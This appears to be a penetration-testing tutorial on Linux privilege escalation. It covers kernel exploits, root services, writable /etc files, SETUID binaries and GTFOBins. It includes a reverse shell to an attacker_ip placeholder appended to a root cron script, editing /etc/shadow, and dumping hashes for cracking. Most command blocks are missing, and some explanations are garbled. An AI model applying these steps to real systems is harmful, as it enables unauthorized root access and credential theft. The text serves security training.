Linux Privilege Escalation
Last updated
Was this helpful?
Last updated
Was this helpful?
Even though Linux isn't as widely targeted by malware as Windows, privilege escalation is still a crucial step in compromising these systems. Linux is often used for specific tasks within an organization and may not always be part of regular patching programs, making them vulnerable in certain cases.
One of the most common techniques for escalating privileges on Linux is through kernel exploits. The kernel, which serves as the core of the operating system, runs with the highest level of access. By exploiting vulnerabilities in the kernel, attackers can often gain root access, making it one of the most powerful avenues for privilege escalation.
The kernel is the core of an operating system. It manages communication between hardware and software, and it's responsible for managing system resources. On Linux, the kernel runs with elevated permissions, which means if we exploit a vulnerability in the kernel, we can usually gain root access or at least some form of elevated privileges.
Kernel vulnerabilities regularly occur when the kernel receives “bad data”—inputs or commands that exploit flaws in how the kernel processes information. While these exploits can sometimes provide full root access, in other cases, they may only grant partial access or create opportunities for further exploitation.
To find and exploit a kernel vulnerability, we can use tools that cross-reference the kernel version with known issues, such as:
Examples of such tools are :
These tools help detect exploits that match the kernel version of the system we are targeting.
Strategy
Enumerate kernel version uname -a
Find matching exploits (Google, ExploitDB, and GitHub)
Compile and run
Note: Kernel exploits can be dangerous because they operate at the core of the operating system. Exploiting the kernel often affects the entire system. If the exploit fails, it might cause a crash (leading to system instability) or deny further access. This can be especially risky in production environments where monitoring and recovery systems might trigger alarms.
view the kernel version
use searchsploit or Linux-exploit-suggester to find an exploit
In this example, we've gained access to a system with a normal user privilege, the first step to check for kernel privilege escalation is to run the command uname -a to view the kernel version.
After searching on Google for 2.6.32-5 kernal privesc I was able to find an exploit on exploitdb
Following this I downloaded the exploit file and sent it to the victim system using pythons simple HTTP server on the attacker machine and wget subsequently on the victim machine to download it
Using gcc to compile the exploit file into a binary file so we can run it
Command Break Down
gcc: This is the GNU Compiler a tool used to compile C programs into an executable binary.
40839.c: This is the name of the exploit C source file, which contains the code you're trying to compile.
-o cow: This option specifies the output file's name: This tells the compiler to link the cryptography library. The function crypt (used for password hashing in theprogram) is part of this library; without linking it, the compiler cannot resolve the crypt function.
-lpthread: This tells the compiler to link the POSIX thread library (libpthread). The functions pthread_create and pthread_join, used for multithreading, are part of this library.
After the exploit was executed successfully we can see that we manged to become root.
Even though this was relatively easy it’s important to note that kernel exploits carry significant risk. Exploiting these vulnerabilities could lead to system instability or crashes, which might result in denial of service or loss of access.
While kernel exploits are one way to gain elevated privileges, attackers often target services running with root permissions to achieve similar results. Let’s explore how misconfigured or vulnerable services can be leveraged for privilege escalation.
Why do some services run as root? In Linux, certain services require higher privileges to manage critical system tasks. For example, web servers like Apache or database services like MySQL often start as root to bind to privileged ports (like port 80 for HTTP), then switch to a lower-privileged user to handle requests. However, if these services are misconfigured or contain a vulnerability, an attacker can exploit them to escalate their privileges.
We can look at the list of processes and filter for the “root”:
With the results, we can view the program version by running
Once we identify the service and its version, we can search for known vulnerabilities in the service. This is typically less dangerous than a kernel exploit since it won't crash the system and some services will automatically restart if they were to encounter an error.
An attacker would identify the Exim version running as root:
Upon finding the vulnerable version, they could search for an available exploit using searchsploit:
Beyond running services, misconfigurations can also open the door for privilege escalation. One such misconfiguration involves world writable files—files that can be modified by any user. If these files are critical to system functionality, attackers can modify them to execute malicious code with root or administrative privileges.
Misconfigured file permissions can also be a way to escalate privileges. If any files are writable by all users, they may be exploited. For example, configuration files in the /etc directories are often key targets for attackers.
World-writable files are dangerous because they allow any user, including low-privileged users, to modify them. If these files are critical to the system—like configuration files or scripts executed by root—an attacker can inject malicious code that gets executed with root privileges.
So to find these files we can use these commands
This command looks for files in the /etc directory with permission code 2, which indicates they are writable. In Linux, file permissions are represented in octal (base 8), with:
RWX permissions in octal are
read=4,
write=2,
execute=1
So, a permission setting of 2 means the file is writable
Let’s say there is a world-writable script /etc/cron.daily/backup.sh that is scheduled to run daily by root. An attacker could insert malicious commands into this script, which would be executed with root privileges when the cron job runs.
Modify the world-writable script by appending a reverse shell payload:
Once the cron job executes (automatically by root), the attacker will get a reverse shell with root privileges.
Command Breakdown
/bin/bash : refers to the Bash shell, which is the command-line interpreter in Linux.
-i : tells Bash to run in interactive mode, meaning it behaves like a shell where it waits for input from the user and provides output.
>& : redirects both stdout (standard output) and stderr (standard error) to a target destination.
/dev/tcp/attacker_ip/4444 : is using a TCP connection to the attacker's IP address (attacker_ip) on port 4444.
/dev/tcp/ : is a special file in Linux that allows Bash to perform network communication using TCP. When you specify an IP and port (attacker_ip/4444), Bash opens a connection to that host.
0>&1 : Essentially, input from the attacker’s machine is being redirected to the shell's stdin (so that commands from the attacker can be run).
/etc/cron.daily/backup.sh : is the file being written to. In this scenario, it’s a script that runs daily via a cron job (a scheduled task in Linux).
In this scenario, we have gained access to a system with normal user privileges. Our first step is to look for world-writable files, which may allow us to exploit misconfigurations. We can use the following command to find such files under the /etc directory:find /etc -perm -2 -type f 2>/dev/null
Upon running the command, we discover that both the /etc/passwd and /etc/shadow files are writable. This is a serious misconfiguration since these files contain critical user authentication data, including hashed passwords.
A simple solution for privilege escalation in this case is to change the root password directly by editing the /etc/shadow file. The /etc/shadow file stores password hashes, and we can replace the root password hash with a new one that we generate.
now we can use vim /etc/shadow to edit the file and change the root password to the new password hash we just created
Open the /etc/shadow file using a text editor like vim: vim /etc/shadow
After changing the password we can save using :w and then quit vim using :q
Now that we’ve updated the root password, we can simply switch to the root user by running the following command and entering the new password:
At this point, we have successfully escalated our privileges to root.
Of course, privilege escalation won’t always be this straightforward in real-world scenarios. Security-hardened systems will rarely have writable permissions on critical files like /etc/passwd and /etc/shadow. However, this example serves as a simple, conceptdemonstration of how misconfigurations can be exploited to escalate privileges.
In addition to misconfigured file permissions, another critical vector for privilege escalation is through binaries with the SETUID bit set. SETUID allows regular users to execute a file with the privileges of the file’s owner, which can sometimes be root. When not properly secured, this can provide an easy route to elevated privileges.
The SETUID (Set User ID) permission is a powerful feature in Linux that allows users to execute a file with the privileges of the file’s owner, instead of their own. Typically, when you run a program, it operates with the same permissions as the user running it. However, when the SETUID bit is set on an executable file, it forces the system to run the program with the permissions of the file’s owner.
If the root user owns a program with SETUID, anyone running the program can temporarily execute it with root privileges. This can become a vulnerability if the program is poorly designed or has flaws, allowing attackers to misuse the elevated privileges.
Think of SETUID as a special key given to specific programs. Even if a regular user cannot access certain areas, running a SETUID program is like temporarily borrowing someone else's key to those restricted areas.
To find files with the SETUID bit set, you can use the following command
-perm -4000: This finds files where the SETUID bit is set.
-type f: This ensures that only regular files are listed. Excluding directories or other file types like sockets or pipes.
2>/dev/null: This suppresses any permission errors during the search.
One common SETUID binary is /bin/passwd, which allows users to change their password. When a user changes their password, the system needs root privileges to modify the password file. However, if there is a vulnerability in the passwd program or any other SETUID program, an attacker could exploit it to run arbitrary commands as root.
Identify the Vulnerability:
An attacker's first step is finding a vulnerability in the /bin/passwd binary. This could be a buffer overflow, race condition, or improper input validation.
Vulnerabilities can often be discovered through tools like GDB (GNU Debugger), strace (to trace system calls), or even manual code review if the source code is available
Craft an Exploit:
Once a vulnerability is identified, the attacker must create a payload that leverages this vulnerability. For example, in the case of a buffer overflow, the attacker might craft an input that overflows a buffer and overwrites the return address to redirect execution to their code.
If a race condition is found, the attacker could exploit the time window between checking permissions and executing a command to run their own code.
Trigger the Vulnerability:
The attacker then needs to trigger the vulnerability. This might involve executing the /bin/passwd command with specially crafted input. For example:
Gain Elevated Privileges:
If the exploit is successful, the attacker could gain elevated privileges. For example, they might run shell commands as the root user or write a reverse shell to establish a connection back to their machine.
After gaining access, the attacker could modify files, add new user accounts, or access sensitive data.
In this example, we have initial access to an Ubuntu environment as an unprivileged user. We will attempt to escalate our privileges by exploiting a SETUID vulnerability.
The first step we need to do is to use find / -perm -4000 -type f 2>/dev/null to find a list of binaries that have setuid bit
Once we have a list of executables with the SETUID bit, we can cross-reference them with GTFOBins and filter for exploitable binaries via SETUID. We can then compare our results with what we find on GTFOBins.
After comparing the executables, I identified that the base64 binary is exploitable.
By analyzing the base64 command, we see that it allows us to read files with elevated permissions.
We can leverage this to read the /etc/shadow file, which contains password hashes for all users on the system.
Now that we’ve successfully read the shadow file and obtained the user hashes, we can easily crack them and switch to a different user with higher privileges
SETUID binaries are just one example of how legitimate system features can be leveraged for privilege escalation. Another valuable resource in identifying exploitable binaries is GTFOBins, a database that catalogs Unix binaries that can be abused to bypass security restrictions. By cross-referencing SETUID binaries with GTFOBins, attackers can find additional opportunities for privilege escalation.
GTFOBins is a popular resource among penetration testers and security professionals that provides a curated list of Unix binaries that can be exploited to bypass local security restrictions, gain elevated privileges, or execute arbitrary commands.
Let's take a look at find
You can use find to break out of a restricted environment with:
If the executable has the SETUID bit set it will not drop privileges and can be used to get a shell with:
If the executable can be run with sudo, gain a privileged shell with:
Exim is a popular mail transfer agent that has been exploited in the past. In , a vulnerability allowed an attacker to send a specially crafted email to Exim, which would then trigger a buffer overflow and allow remote code execution as root.
